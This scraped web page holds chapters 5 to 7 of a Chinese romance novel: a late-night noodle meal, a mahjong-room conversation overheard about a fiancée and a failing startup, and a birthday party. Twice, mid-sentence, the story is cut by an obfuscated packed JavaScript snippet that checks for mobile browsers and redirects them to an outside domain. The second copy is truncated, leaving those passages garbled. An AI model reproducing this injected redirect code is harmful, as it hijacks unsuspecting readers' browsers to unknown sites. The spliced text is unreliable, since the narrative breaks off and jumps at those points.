梁净川不讳言:“嗯。” “他最后叮嘱了你什么?让你劝和?” “没兴趣做你们的爱情保镖。” 蓝烟又不再作声。 车在光影里穿行一阵,梁净川看左后视镜查看路况,目光两次掠过蓝烟。 她高兴不高兴都是绷着一张脸,一般人其实很难看出差别。 “怎么不告诉陈泊禹蛋糕的事。”梁净川问。 “没什么意义。他不会不知道他妈妈的真实态度。”多半,生日礼物是和蛋糕一样的下场。 梁净川手指在方向盘上无意识地轻敲了几下,最终还是说道:“陈泊禹这样的家庭,围在他身边的都是善意,他看他家人的视角,和别人的视角,存在认知差异。有些事他未必是故意的。” 蓝烟垂着眼睛:“我知道。我在乎的也不是他家人的态度。” 她这句话没什么精神,声音也轻,听起来更像是自言自语。 梁净川看她。话到嘴边,还是没说:我理解。你在乎的是陈泊禹的态度。 车靠近闹市区,灯火也多了起来。 梁净川忍不住再次打量蓝烟。 那条黑裙和昏暗车厢融为一体,好像要把她的生气都吞进去, “吃不吃东西。”梁净川问。 蓝烟抬眼。 “不信你吃饱了。”他淡淡地说。 “你请客?” “你想请也行。” “无事献殷勤。” 梁净川嘴角微扬,一副随便你怎么说的表情。 “吃。” “想吃什么自己拿手机导航。”梁净川说。 “你先找个地方靠边停一下。” 梁净川看她。 “我换个衣服。”她一秒钟也忍不了这一身的香水味。 从大路转出去,开进一条浓荫匝地的小巷。 梁净川把车停了下来,蓝烟下车,拉开后座车门,伸手指了指很远处的一棵树,“你走到那里去。” 梁净川把钥匙抛给她,拉开车门下了车,乖乖向着她指的地方走过去。 巷子里车很少,阒静得有种避世感。 他走到比指定位置更远的地方,停住脚步,背身靠住了树干。 很奇怪,她在他的车里面换衣服,他却没有任何旖旎的遐思。 5.chapter05 梁净川走离车头没多久,蓝烟就将身上长裙的拉链拉了下来。 讨厌他是立场问题,但说句公道话,在边界感这方面,她大可放心,高中同个屋檐下生活一整年,从来没发生过叫她尴尬的情况,他每次洗完澡,都是穿戴得整整齐齐再出来。 穿回自己的吊带衫、衬衫外套和牛仔裤,把换下的长裙叠整齐,放入纸袋,再换上帆布鞋。 目光透过前车窗往外望,一时没看见梁净川的身影,细看才发现被一棵树挡住了。 摸出手机,准备发微信叫他回来。 对话列表里找梁净川的头像,滑了半天没滑到,上一回聊天都不知道是哪年哪月。 直接点进通讯录搜索。 他微信名字一直是“ljc”,她也就没给他改过备注。 头像也一直没换过,是张照片,拍的是水族馆里的灰色热带鱼,一半深蓝一半礁石的背景里,那鱼不怎么鲜艳,也不怎么漂亮。 【blueblue:OK了。】 【ljc:好。】 整理好纸袋,蓝烟打开车门,坐回副驾。 她手臂撑在车窗上,看着梁净川往回走。 步幅很快,但很稳,没什么仓促的感觉。 大部分的普通人,在被旁人观察的时候,都很难完全泰然自若。 果然,她看见梁净川意识到她在看着他的时候,脚步顿时放慢了下来,也多出来两分不易察觉的不自然。 原来,想要整他还有这么简单的方式。 梁净川拉开车门,蓝烟立即端出评委的姿态:“走路发力姿势很正确,核心力量还不错。” 梁净川难得的整个人僵了一秒钟,露出“你有病吧”的无语表情。 蓝烟手背撑腮,很愉快地哼笑一声。 梁净川坐上座椅,系安全带时,看了她一眼,“属弹簧的。” 说她恢复得快。 “本来也没什么。”蓝烟打开手机,找到自己收藏的待打卡餐厅,都是收录十年、同事朋友口口相传的好店。 一边翻,一边继续说道:“他们看不上我,我也不怎么看得上他们。” 换成别人,这样说或许是精神胜利法,但在蓝烟这儿,简直是天经地义。 是了,她并不是要为了“上嫁”而“吞针”,是真没有那么所谓。 梁净川同情了敌人一秒钟,转头看她,几分斟酌:“那陈泊禹……” “我觉得他不一样……至少一开始是这样觉得,现在……”因为要细看店铺招牌菜的详情,她头低下去,凑得离屏幕近一些,声音也低下去,“有点不确定了。” 她渐渐觉得,她最初喜欢的,可能只是她自己描补出来的某个幻觉。 疲惫的,柔软的陈泊禹。 她以为那应该是他灵魂的底色。 梁净川还在整理某种陌生的、些微眩晕的心情,听见蓝烟声音稍稍抬高:“酸汤粉吃吗?” 她声音很好听,像沁凉的薄荷糖;而当音调抬高,音色更明亮些,就好像给薄荷糖裹上了更炫彩的糖衣。 “都可以。你导航。” 蓝烟伸臂,拿过梁净川的手机,熟练键入密码。 手机里APP不多,常用的工具类都放在第一页,因此很容易就找到导航软件。 “他们九点半打烊。” “过去要多久?”梁净川问。 “十七分钟。可能来不及了。” “开过去再说。” 这店同事周文述常去,不止一次跟她安利:不好吃我提头谢罪。 今天,就要来见证是“刀下留人”,还是“人头落地”。 打烊时间过去五分钟,车子顺利开到了店门口,梁净川往外瞥了一眼,似乎仍在营业,便说:“你去占位,我去停车。” “Copy that.” 吃东西被她玩出《碟中谍》的紧张感。 梁净川嘴角扬起,目送她拉开车门,飞快跑向店里的背影。 官方公布的打烊时间是九点半,但没谁会跟钱过不去,不会迟上几分钟就被拒之门外。 户外热,蓝烟在室内找了个位置坐下。店面很小,空气里一股浓郁的香气,牛羊肉、酸汤、葱姜蒜……混在一起勾人食指大动。 蓝烟扫桌角二维码点餐,不知道附近有无停车位,梁净川要去多久,便将点餐页分享给了他。 片刻,她看见左下的购物车上多出一个“+1”的红点,点进去一看,是梁净川先点了一罐冰雪碧。 她自己选了招牌贵州酸汤粉和冰镇矿泉水,再看购物车,酸汤粉的数量变成了“2”。 浮窗,切到和梁净川的微信对话框,问道:还要别的吗? 【ljc:不用了。你还要吗?】 【blueblue:我也OK。】 蓝烟切回点餐页面,正要下单,发现有人比她快一步。 而下一瞬,已下单的状态,就变成了已支付。 等人过来的时候,蓝烟抽纸巾将微微泛油的桌面擦拭一遍,把用过的纸巾丢进快要装满的垃圾桶里。 服务员拿来两只空瓷杯,指一指桌上茶壶,示意茶水自助。 蓝烟倒了两杯,另一杯搁到对面。 尝一口,是大麦茶,非常真材实料的醇香口感。 喝着茶,看见玻璃门被推开,梁净川走了进来。 白衣黑裤的男人,身形高拔,面容英挺,像匿于黑色岩石中的一方净玉,有种端然的风雪气。 普通人中少见的颜值,自然会引得其余食客多看两眼,欣赏美貌似乎是刻在人类基因里的天性。 高中时,梁净川和自己成为事实上的“继兄妹”关系这件事,蓝烟只告诉给了身边为数不多的几个朋友。 她周末会去当地美院毕业的老师开的画室上素描课,那画室离四中很近,有一次下暴雨,在学校补课的梁净川,被蓝骏文拜托去给她送伞。 画室里也有四中的学生,因为那次送伞,知道了她和梁净川是亲戚关系,之后屡次跟她搭话,请奶茶请零食,旁敲侧击打听梁净川的事。 彼时的蓝烟,只差把印着“离我远点,别来烦我”的文化衫穿在身上,对这种行为简直不胜其烦。 所以,梁净川唯一的优点“外貌”,在她这里也成了黑点。 而在时隔多年的今晚,因为方才在唐佩玲面前,他有意识维护的行为,使她好像把他稍微看顺眼了一点。 梁净川走到她对面,挪开木凳坐下,看着眼前满杯的麦茶,佯作惊讶:“真是受宠若惊。” 蓝烟懒懒掀眼,“下了毒的。” “哦。”他微笑着端起白瓷茶杯喝了一口,才问,“什么毒?” “让人变哑巴的毒。” 那他就又多了一项美德。 汤都是提前熬好的,米粉下锅煮熟,加入配菜,就可上桌。 毛辣果、木姜子和姜末,协奏出十分勾人的酸香味,卤蛋、豆芽菜、白萝卜和一小片青菜叶,把盛满红酸汤的一碗米粉,装点出“五谷丰登”的丰盛。 蓝烟取汤勺,先尝了一口酸汤,眼睛都亮起来,“好喝。” 她看向对面,梁净川拿筷子挑了一箸米粉,送进嘴里。 三秒过去,蓝烟没等到他的反馈。 “好吃吗?”蓝烟问。 梁净川点头。 “那你怎么不说话。” 梁净川微笑:“哑巴怎么说话?” “……” 他还是当个哑巴吧。 蓝烟尝了好几箸,赶在把它们风卷残云地吸入腹中之前,拿起手机拍了张照,发到群里。 【blueblue:你人头保住了@ZHOU】 【周文述:谢谢酸汤大老爷为我沉冤昭雪】 梁净川抬眼,看向举着手机,露出笑容的人。 她此前搽上的一点口红,经过晚餐和麦茶的消耗,已经完全看不见了。 她是他认识的女孩子中,最不适合化妆的那一个,好像白山茶,朱粉丹敷再鲜艳,也只会让纯白失去其本真的颜色。 她不是不会大笑,只是次数太少,比昙花一现更稀有。 “给谁发微信?”梁净川淡声问。 “我同事。推荐这间店的人。” “哦。”尾音安心落地。 放下手机,蓝烟理了理自己的一头长发,顺到同一侧肩膀,从发根开始,分作三股。手指上下翻飞,须臾便完成了一根松松散散的长辫,取下腕上黑色发圈,箍紧发尾。 梁净川见怪不怪,这是她给最美味的食物才有的顶级礼遇。 头发编起来,五官轮廓展露更清晰。 说起来,她鼻梁并不算十分高挺,眼睛也不算特别的大,但经造物主的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522657|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组合,就变作惊人的炫技之作。比例或者位置,偏差了哪怕一毫米,大约都不会出现这样的效果。 月中聚雪,淡极生艳。 梁净川凝视最后一瞬,在会被发现的临界点之前,收回目光。 一时安静。 “你们……” “你……” 梁净川顿一下,“你说。” “你们公司下轮融资,还是想找陈泊禹的大哥?” 吃到一点姜末,在吐出来和吞下去之间犹豫一瞬,梁净川选择后者,“嗯。如果陈泊尧愿意领投,基本十拿九稳。” “所以他急着回家见他大哥。” 梁净川表情淡下去,“东西不够好吃?” “……好吃啊。”蓝烟莫名。没听懂他这句废话的意思。 他没有做出解释的打算,只低头吃东西。 蓝烟:“你刚刚想说什么。” “忘了。” 再丰盛的一碗面,吃完最多也只需要十五分钟。 蓝烟剩了一点豆芽和半个卤蛋,剩余的全部吃掉。 对面的人碗里也空了,只剩下汤。 光盘是美德。 “走吗?”蓝烟拿起手机。 “嗯。” 已经付过账,他们离开畅行无阻。 推开玻璃门,夏夜潮热的风泵入肺里,吃饱的身体很暖,很舒服。 “我把车开过来。”梁净川往左转身。 “远吗?” “不远。” “那走一下,消食。”她也左转,以目光询问,是这个方向? 梁净川迟疑地点了一下头。 迟疑的这一秒,是在想,今天的黄历上莫非写着“诸事皆宜”。 风里有花香气,裹在夏日特有的那种潮而闷的气息之中,并不是很容易分辨。 他有意去找,沿途的墙壁上,是不是哪里藏有一丛蔷薇花。 三次尝试,三次在找寻的途中,目光偏航,看向走在斜前方的人。 她一边走,一边拆开了辫子。 编过的头发蓬起来,多出不很明显的弧度,像是高湿度的天气里,塌下去的卷发。 没有看过她卷发的样子,她一直黑长直,简单得像还在读高中——高中生都没有她这样遵守规则。 想看一眼,只看一眼。 “蓝烟。” 蓝烟倏然回头。 灯光下透白的脸,被微卷的头发,衬出和平日很不一样的观感。 清源创生是做生物原料研发的,他是技术负责人,所以了解一些植物的特性,是工作需要。 山茶花种类繁多,若是重瓣,便会呈现一种波状缘的效果,繁复又华丽。如她此刻。 蓝烟没有听见他作声,脑袋稍歪了一下,“干嘛?” “……有老鼠。” 蓝烟后退半步,“哪里?” “已经跑了。” 她定在原地,侦查过路面和草丛,试探着踏出一步,确认没什么,重新迈步。 走出两步,意识到不对劲,转头瞪他,“又耍我是吧?” “对啊。”他笑着承认。 “无不无聊。” 很快,车的轮廓出现在视野之中。 方才停车,有个人要跟他抢,他技术高超,先行卡位。 命运的馈赠总有代价,何必逞一时好胜心,把它停远一些又能怎样。 梁净川对抗抗拒的心情,从口袋里拿出车钥匙,按下解锁键。 车遥遥地“嘀”一声,为今晚划下句点。 开回到蓝烟住的小区大门口,只花了十五分钟左右。 蓝烟解开安全带,拉开车门,说道:“谢谢。” 难得非常真诚的口吻。 足以载入他们这段十多年敌对关系的史册。 “那请我喝水。”梁净川说。 蓝烟看向他。 非常欠揍的笑容,让她想把这句道谢收回。 “……等着。” 不知是放狠话,还是字面意思。梁净川看着她的背影走向了一旁的便利店,确信是后者。 人很快折返,走到了驾驶座这一边。 他落下车窗,她站定在窗外,把一瓶绿色怡宝递进来,并附解释:“只有这个是冰的。” “没事。”梁净川微笑说,“什么都行。我不挑。” 6.chapter06 梁净川将蓝烟送到以后,原本想回去睡觉,电话拨进来,陈泊禹那头开了免提,陈泊尧问他事情忙完没有,倘若没安排,再回去陈家一道打几局麻将。 公司马上要进行下一轮融资,陈泊尧是能决定局面的关键人物。 梁净川开车折返,开门的保姆指一指棋牌室的方向,说人都在棋牌室里,厨房里煮着夜宵,她要过去瞧一瞧火,让梁净川自便。陈家梁净川常来,保姆对他也很熟悉,无须过分拘礼。 梁净川穿过走廊去往大屋另一侧的棋牌室,将到门口,里面传出的对话声滞住他的脚步。 麻将块碰撞声里,掺杂着陈父陈永茂的声音:“……这姑娘别的都挺好,就是有点太傲气了,过日子还是选个温柔可意的更好。我看她的样子,怕是连厨房都没进过。” 第一个接话的是陈又盈:“什么年代了呀大伯,评判女孩子的价值还要看会不会做饭?那我也不会,云姐也不会呀!” 陈母唐佩玲:“不一样,千云可以全力支持泊尧的事业,蓝烟能做到这样对泊禹吗?这件事看的是态度,比如泊禹生病了想喝碗热粥,莫非还要点外卖吗,外头的东西又脏又难吃。有一次泊禹自己感冒还没好呢,还大半夜的去机场接人。” 陈永茂:“还有这种事?” 陈泊禹总算吱声:“她不让接,我自己去的。” 唐佩玲:“你有时候就是太上赶着,人家才不把你当回事。” 梁净川没有听见陈泊禹作声。 听人壁角实在不是君子所为,但他从来不自诩君子。 尤其这事涉及到蓝烟。 唐佩玲:“泊禹,你听一句过来人的劝告。你们谈恋爱也有两年了,蓝烟从来没对我们热情一些。这样的性格,就是仙女又能怎么样呢,你是要过日子,不是要给自己找个佛祖供起来。” 陈泊尧:“泊禹高兴就行,儿孙自有儿孙福,爸妈你们也别管了,处不来大不了以后少来往就是。” 唐佩玲:“说得轻巧,以后一大家的事情,她主持得过来吗?” 陈泊尧:“不是有您吗。” 唐佩玲:“我还想享几年清福。泊禹,你非她不可,我们倒也不会棒打鸳鸯,但你自己想想清楚,你事业刚起步,以后还有得忙,累一天回到家里,还要面对冷言冷语,这样的日子你过不过得了。” 陈泊禹又不再作声。 这并不是梁净川第一次听见陈泊禹的家人非难蓝烟。 有一次是陈泊禹在办公室里接唐佩玲的电话。两人的办公室有不透明玻璃相隔,他那天身体不舒服,躺在沙发上休息,陈泊禹可能以为他不在,把电话开了免提。 唐佩玲打给陈泊禹,主要是聊给他们家族里一个小辈办满月宴的事,结束时顺口提到了蓝烟,说她前几天过生日,怎么蓝烟全程绷着个脸,是不是对她有什么意见。陈泊禹说她性格就是这样,不习惯人多的场合,也不怎么喜欢笑,并不是对谁有意见。 还有一次是唐佩玲生病住院,恰好蓝烟要去北城,参与支援一批即将参与主题展的书画作品的修复工作。 唐佩玲手术和蓝烟出发在同一天,原本时间并不冲突,陈泊禹把人送去机场以后,再回医院送唐佩玲进手术室,远有余裕。 谁知道排在前面那一台的病人出了点状况,手术要改期,就把唐佩玲的排期提前了两个小时。 陈泊禹回来时手术已经开始了,陈永茂在手术室门口把他骂了一顿,说现在的年轻人真是目无长辈,做事也没个主次。碍于梁净川在场,他没把话讲得太难听,但“现在的年轻人”这里面,自然也包括了蓝烟。 如蓝烟这样独来独往的人,最忌讳给旁人添麻烦,如果不是陈泊禹一意坚持、无法推脱,她也不会同意他去送机。 两次陈泊禹都能替蓝烟多解释几句,但每一次都不痛不痒,轻易就被人驳回去。 生日那次,陈泊禹大可以聊聊蓝烟送的生日礼物——她自己画的图,专门找做苏绣非遗的朋友定做的团扇,足见心意十足。 手术那次,陈永茂倒是没有骂错,陈泊禹有时候做事确实不分主次。他自己拎不清,在父母那里不过被骂一顿就翻篇了,蓝烟却要平白无故留下一笔抹不掉的坏印象。 加上这次,一共三次。 陈泊禹不据理力争,或许也是因为,他心底里其实也有些认同父母对于蓝烟孤僻寡合,不擅长人情世故这一部分的判断。 可他并非第一天才认识蓝烟,很清楚她就是这样的性格。 如果真的爱她,就更应发挥粘合剂的作用,而不是一味地和稀泥。 人不可以贪恋月亮的清冷,却又嫌月亮不如太阳热烈。 富贵家庭出生的第二个儿子,不像长子那样需要肩负光耀家族的重担,陈泊禹从出生时,家庭和社会的方方面面,都被父母装上了防撞角,从未受挫,故性格善良,慷慨好施。 但优点与缺点总是一体两面:幼稚天真,依赖家庭,缺乏主见。 所谓在其位谋其政,如果他身为男友,却不能尽到男友的职责,那么…… “大哥大哥,你好像胡了!” “是吗,我看看——” 梁净川不再往后听,脚下一拐,去了一旁的洗手间。 滞留片刻,走出来,朝棋牌室走去。 一局重开,麻将机刚刚垒好四条长城。 梁净川有意把脚步放重,一直留心门口的陈又盈第一个发现他:“梁……” 陈泊尧抬眼望去,笑说:“净川你来得巧,这局正好开始。” 陈又盈忙站起身:“……你过来打吧。” 梁净川淡笑:“没事,陈小姐你打吧。” “手气差,我蹭蹭大哥的运势再打。”陈又盈倏地离开座位,走到陈泊尧和梁净川之间,靠住了圈椅的扶手,假意去看陈泊尧面前的牌。 牌桌上余下几人,都露出了同一种会心而意味深长的微笑。 梁净川当做没看到。 牌局开始。 坐在陈永茂身旁看牌的唐佩玲忽问:“又盈,你实习找得怎么样了?” “去干了一个星期,不喜欢。” “那要不去你二哥公司实习?” 陈又盈眼睛一亮,目光瞥向梁净川,又立即转向陈泊禹,“可以吗二哥?” “我们现在只有技术人员空缺,你的专业不对口。” 唐佩玲:“哪里塞不下一个人?大不了又盈的实习工资我来出……” “真不行。我们管人事的姜总你们也知道,很较真。”事业问题上,陈泊禹倒是公私分明不含糊。 陈又盈不大高兴。 “也就几个月,实在不行你就让又盈去做你的助理,只挂个名,不给她派活。”陈永茂也帮腔。 陈泊禹头疼极了,“过一阵公司要出去团建旅游,一个人有两个家属名额,又盈你跟着去吧。这样行吧?” 陈又盈向他举起手掌:“成交!” 她是做惯主角的人,不甘于旁观,看了一会儿牌,无聊地打了个呵欠,说去厨房看一看夜宵好了没有,便离开了棋牌室。 吃饭之前,陈泊禹便想跟兄长聊一聊工作的事,此刻梁净川也在,时机刚好,便说:“哥,你有空的话,去我们实验室看看?” “怎么,出研究成果了?” “我们不是在做华白和牡丹的愈伤组织诱导吗,快成功了。” “哦,那可真是不错。”陈泊尧笑说。 “你出了那么大一笔钱,我肯定不会让你打水漂。” 陈泊尧笑了笑,“最近这两周反正是没时间,全给约满了。” “不急,哥你有空了再说了。” 陈泊禹察觉到陈泊尧好像兴致不高,没再往下说。 片刻,厨房送来热毛巾和夜宵,大家稍作休息之后,牌局继续,一直打到陈泊尧尽兴了才散。 陈泊禹叫人准备客房,让梁净川留宿。 梁净川婉拒,离开时,脚步稍顿,看向陈泊禹,“还不去?” “嗯?” “不是说等人冷静了去道歉吗。” “明天再说吧。”陈泊禹打个呵欠,“她肯定已经睡了,今天不打扰她了。” 梁净川默然地盯住陈泊禹。 陈泊禹很少被这样极具审视意味地注视,有些莫名,“怎么了?” 梁净川没发表什么意见,手抄进口袋里,转身,“走了 。” / 大家都各自回房休息去了,陈泊禹也准备提步上楼,看见有个保姆拿了一瓶水过来,便顺口问道:“给谁的水?” 保姆说是陈泊尧让送到书房去。 陈泊禹原本就想跟陈泊尧聊聊融资的事,方才牌桌上人多不好展开,现在倒是个好机会。 “水给我吧,我拿上去。” 上了二楼,还没走到书房,便听见里面传来大哥和父亲的对话声。 陈泊尧难得情绪有些激动:“……峰点一向只布局新能源领域的项目孵化,从没涉足过生物材料,我不可能拿我自己辛辛苦苦做起来的事业去陪他胡闹。他从小到大,哪一回烧钱玩我没支持?第一次创业,那么多钱砸进去,连个响都没听见。这第二回,我不也是二话没说就自掏腰包?这钱我权当打水漂,也没指望收回来。我这个做哥哥的已经算是仁至义尽了,这些年因为一直补贴泊禹,千云和我吵过不止一次,年后我们打算备孕,我总得多顾及一些自己的家庭……爸,你做人不能这么偏心……” 陈永茂:“你别激动,泊尧,先听我把话说完,我不是要劝你再投钱。” 陈泊尧顿了一下,音量稍低两分:“那您的意思是……“ 陈永茂:“我的意思是,完全一口回绝,恐怕伤害泊禹的自尊心。我来掏钱,你以你的名义象征性的再投一点,也不多,就当给他的零花钱。等钱烧完,他也就乖乖收心了,到时候再让他进自家公司工作,过几年年龄到了就结婚,他也没什么话说。毕竟,该支持的我们都已经支持到位了。” 陈泊尧:“您别嫌我说话难听,我确实不觉得泊禹是这块料。我倒宁愿他当个吃吃喝喝的纨绔子弟,反倒花不了几个钱……” 陈泊禹走回到楼下,叫住方才的保姆,把水瓶递给她,说是自己有点事要出去一趟,让她送上去。 人散之后的华屋,寂静得空空落落。 陈泊禹走出门,站在空旷的庭院里。 夜风热度未散,他却感觉到一阵透骨的凉意。 / 蓝烟通常八点起床,洗漱过后去楼下吃个早餐,骑自行车去上班。 夏天天亮得早,她起得也早一些,今日出门,正好八点。 走到大门口,正要过马路,忽听有人叫她的名字。 循声去找,却见路边停着陈泊禹的车。 她稍顿,朝车子走过去。 陈泊禹下了车,关上车门,迎着她走了过来,到她跟前,什么话也不说,一把将她抱住,脑袋也低下来,抵在她的肩膀上。 全然依赖的姿态。 蓝烟愣了下,伸手轻拍他的后背,“怎么了?” “……你去上班吗?”他声音十分沙哑。 “嗯。” “我能不能去你那儿睡一会儿,等你下班。” 蓝烟这才意识到,他身上还是昨天的那一件浅灰细条纹的衬衫。 “你昨天在哪里休息的?怎么没换衣服?” “……在车里睡了一会儿。” 蓝烟不免错愕:“一直在车里?” 陈泊禹“嗯”了一声,“开过来凌晨两点,我想你肯定睡了……” “空调还没换,你……” “没事。” 蓝烟从包里拿出门禁卡和钥匙,“你开客厅空调,把卧室门打开,会凉快一点。先去睡一觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陈泊禹低下目光,认真看她:“如果一定要勉强你,你会跟我分手吗?” 犹豫一瞬,蓝烟说:“或许。” 陈泊禹笑起来,他有卧蚕,笑的时候眉眼显得格外温柔:“你会犹豫就行了。放心,这个家……我现在自己都不想回了。” / 八月下旬是陈泊禹生日。 陈泊禹朋友多,往年总是办得热热闹闹,今年他没什么心情,全部精力都扑在融资一事上。 便决定只把公司的主要创始人,和几个最好的朋友叫到家里来吃个饭。 生日当天,梁净川开车,跟公司的CSO罗珊一起过去。 罗珊长他们几岁,生物工程专业出身,有MIT的教育背景,是公司除梁净川之外,最核心的技术人员。梁净川当年愿意入局,一半原因是认可罗珊的含金量。 两个典型的理工科人,私底下除了工作也没什么可聊。 罗珊问:“你不是跟陈泊禹是发小吗,怎么不跟他一个车?” 梁净川笑笑,“嗯。” 罗珊:“哦,他接他女朋友去了吧。” “……嗯。” 他们到时,其他人差不多到齐了。 陈泊禹的朋友,有几个在客厅里打游戏,另有几个围在餐桌边,不知道在做什么。 梁净川目光越过那几人的肩膀,一眼看见站在桌边的蓝烟。 即便是男友生日,她也没有穿得过分隆重,只着一条简单的烟灰色吊带长裙,将头发挽了起来。 人群愈闹,愈能显出她的静。 梁净川去茶水台那儿,拿了一杯冰水,踱步至餐桌处。 才知缮兰斋和市博物馆合作,出了一款书画修复体验的盲盒,蓝烟带了过来,陈泊禹的一个朋友有兴趣,就现场拆开了。 大部分普通人照着说明书操作,也很难短时间内入手,免不了频频向蓝烟求助。 她十分耐心,连鬃刷怎么发力这样基础的知识点也不会漏过。 梁净川喝一口水,正要走到她身边去,肩膀被陈泊禹一搭。 陈泊禹向着客厅扬了扬下巴,“来一局?” 十几年前流行的格斗游戏,上高中那会儿,有空两人会去电玩城对战,胜率基本五五开。 两人战斗风格完全不同,陈泊禹见招拆招乘胜追击,梁净川更偏好找准时机一击必中。 陈泊禹常用的角色,有个必杀的绝招,但并不是每一次都能搓出来,需要看运气。 他运气极好,有时候将他打到只剩丝血,他却总能靠这只有15%概率的绝招逆风翻盘。 如果陈泊禹是运气的眷属,梁净川大约就是运气的弃子。 ——前年,原本他应该如期毕业回到南城。但因为不可控的硬件故障,实验数据出现微小偏差,导致毕业设计的算法模型最终呈现结果完全偏离预期。 他不得不延毕一年。 就是延毕的那个夏天,陈泊禹和蓝烟在一起了。 这回也是,明明两人的关系已接近冰点,“楚门世界”的假象被戳破,却又助推了陈泊禹一把,替他补上了缺席已久的成长课,甩掉了他身上最大的负资产。 “艹……又搓出来了!”陈泊禹身旁有人惊叹。 梁净川沉着眼睛,一言不发,在绝招起手之前便提前后退闪避。 陈泊禹的绝招打空,他按压摇杆向前追击,一套连招。 “KO”。 梁净川抬眼看向陈泊禹,笑说:“你不会以为我还会赌你搓不出绝招吧?” 运气不好的人,就不必再赌运气。 陈泊禹不大服气地哼笑一声。 “一命通关很难。”梁净川放下手柄,站起身,“你自求多福。” 陈泊禹抬头,疑惑不解:“什么一命通关?你说的是什么游戏?” 笑意隐入狭长幽深的眼睛里,梁净川耸耸肩,仿佛在说:谁知道呢。 7.chapter07 餐桌那边。 好奇心不足以使陈泊禹的这位朋友,完成这幅修复体验字画,太考验耐心,稍显热闹的生日派对,也不是适合体验的场合。 蓝烟看出他的为难,微笑说:“剩下的下次有机会再尝试吧,后面步骤比较麻烦,短时间修不完。” 这位朋友立即放下手中工具,冲蓝烟笑一笑,稍有歉意,但如释重负。 蓝烟埋头收拾残局。 梁净川站在餐桌对面,观察片刻,正要迈步。 陈泊禹从沙发那边快走两步,到了蓝烟身旁,捉住她的手腕,低头微笑:“去那边聊聊天?” 这次吵架和好之后,陈泊禹变得比以前黏人,仿佛回到了两人刚确定关系的那一阵,工作之外的时间,除了必要应酬,几乎都是跟她一起消磨。 大家起身让位,陈泊禹拉着蓝烟坐下,他手臂撑在沙发靠背上,以不着痕迹的姿态,将她圈定在自己怀抱的范围里。 有人起哄:“这儿大部分都是单身狗,陈泊禹你几个意思啊,秀恩爱这么明目张胆?” 蓝烟不常参与陈泊禹社交圈的活动。 刚在一起的时候参加过,但性格、兴趣差异实在太大,她获取不到什么乐趣。 陈泊禹的朋友圈,与他的阶层、特质趋同,都是一群没有任何生存危机的年轻人,连烦恼都像香槟沫、奶油花……充满梦幻泡影、纸醉金迷的天真。 而她,操心的都是眼前务实的鸡毛蒜皮:补料配不上,冬天到了天光太短全色总也做不完、修了一半客户又提出了南辕北辙的新要求…… 当今这个短视频当道的时代,蓝烟可能是不爱刷短视频的少数派,电子榨菜喜欢越长越好,休闲时间也宁愿开不费脑的长视频,边听边画一点小作品。 陈泊禹的朋友们,高速切换又眼花缭乱的圈内话题,好似五秒一个的短视频,在她面前匆匆刷过,还都是她不感兴趣的频道。 大脑信息过载,蓝烟坐了一会儿,自认义务已尽,不为难自己,转头跟陈泊禹说句“我去拿点饮料”。 陈泊禹低头看了看她,似在确认她有没有不高兴,随后点了点头,松开了搭在她肩膀上的手。 蓝烟从沙发起身,走往茶水台。 倒一杯红茶,喝了一口,目光环视一圈,落定在餐桌那里。 残局收拾到一半,没修完的字画还摊在桌上。 梁净川站在桌边,正低头一边研究摊在一旁的说明书,一边试图往破洞上贴补纸。 热红茶,呼吸呵得热气上升,缭绕于鼻尖,蓝烟盯着看了两分钟,确定他是真有兴趣,也是真的在操作上遇到了难题。 犹豫片刻,转头放下茶杯,朝他走过去。 熟悉脚步声停在身侧,梁净川佯作不知,嘴角微扬,一瞬恢复,端正自己的“猎物”身份。 很多人对蓝烟的评价是“冷漠”,绝非如此,“冷漠”与“冷淡”一字之差,意思天差地别。 她不是一个“冷漠”的人,相反极具朴素的正义,对于旁人的困境,她绝不会作壁上观。 连身为仇人的他,也幸得她小小的照拂。 他读高三那一年,两人关系比现在糟糕得多,用水火不容形容绝不夸张。 那时是初冬换季,流行性感冒蔓延,班里病倒一大片,前后左右夹击之下,他也没能幸免。 那天回到家,丢下书包那刻便觉得精疲力尽,原想在床上躺一下再起床洗漱,一倒下去天旋地转。 家长不在家,房门忘了关,或许他这样斜躺在床尾的姿态实在诡异,迷迷糊糊之间,他听见那道微冷的声音连喊了几次“喂”,他似乎应答了,更可能其实没有。 因为蓝烟竟破天荒地踏入了房间,薄霜一样的声音来到了面前,语气多出些谨慎的探问:喂,你怎么了。 ——是,在最早的时候,他在她那里的名字是“喂”。 而后,他感觉到有手指来探他的鼻息,似乎想看他是不是还有呼吸,如果神识清楚,能够目睹这一幕,一定会比他想象得更要搞笑。 之后,便有微凉触感贴上额头,没过多久,又有什么抵上额角,他意识到那是额温枪。 随后,他的肩膀被按住,一阵猛晃,眩晕让他差点吐出来。 非常不耐烦的声音,连番催促:喂,你把药吃了。 他忘了自己是怎么爬起来的,可能是身体保护机制判断,再这么被晃下去,他的脑浆会先被晃成蛋花汤,于是仁慈地施舍了一点肾上腺素,使他顺利地完成了从服药到爬上床躺下来这一系列操作。 他平躺下来,闭眼之前最后残留的视觉记忆,是蓝烟掀开了他的被子,嫌弃地替他盖上。 很潦草,被子甚至都没有完全展开,重叠的两层,石板一样厚重地压在他身上。 但或许歪打正着,厚被子让他出了一身汗,他得已在两小时后顺利退烧。 脚步虚浮地爬起来去找水喝,刚走出房间,斜对面房间门就被打开,蓝烟站定在门口,望了他一眼,不到两秒钟,就退回房间,以房门猛摔的方式,结束了那一次的行侠仗义。 “搭口边缘留多了。” 一根手指伸过来,在他按住的补纸边缘,轻轻点了点,一并截断他的回忆。 细长手指,粉色甲床,微泛光泽,带一轮漂亮的白色小月牙。 